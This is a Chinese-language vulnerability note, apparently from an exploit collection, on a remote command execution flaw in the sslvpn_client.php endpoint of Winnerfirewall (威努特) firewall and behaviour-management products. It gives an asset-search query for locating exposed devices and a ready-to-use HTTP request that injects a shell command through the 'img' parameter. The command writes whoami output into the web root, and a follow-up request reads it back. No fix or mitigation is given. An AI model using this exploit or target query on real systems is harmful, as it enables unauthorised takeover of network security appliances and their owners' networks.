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威努特sslvpn_client存在远程命令执行漏洞.md

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威努特sslvpn_client存在远程命令执行漏洞

一、漏洞简介

威努特防火墙sslvpn_client存在远程命令执行漏洞，攻击者可通过该漏洞获取服务器权限。

二、影响版本

  • 威努特第二代防火墙
  • 威努特上网行为管理系统

三、资产测绘

  • hunterapp.name=="威努特第二代防火墙"
  • 特征

1701763255220-b1f2801a-99cf-4b00-908a-e0407077d750.png

1701763267244-47dfc2c5-8543-4eba-81fc-85757181229a.png

四、漏洞复现

GET /sslvpn/sslvpn_client.php?client=logoImg&img=x%20/tmp|echo%20%60whoami%60%20|tee%20/usr/local/webui/sslvpn/ceshi.txt|ls HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

1701762310844-e2bb6845-f268-450b-b1ef-4ddc2f30876e.png

获取命令执行结果

GET /sslvpn/ceshi.txt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

1701762342384-224cbced-19ed-428d-b26d-9957865251d2.png

更新: 2024-02-29 23:57:12
原文: https://www.yuque.com/xiaokp7/ocvun2/qg31v0mn53x3w50g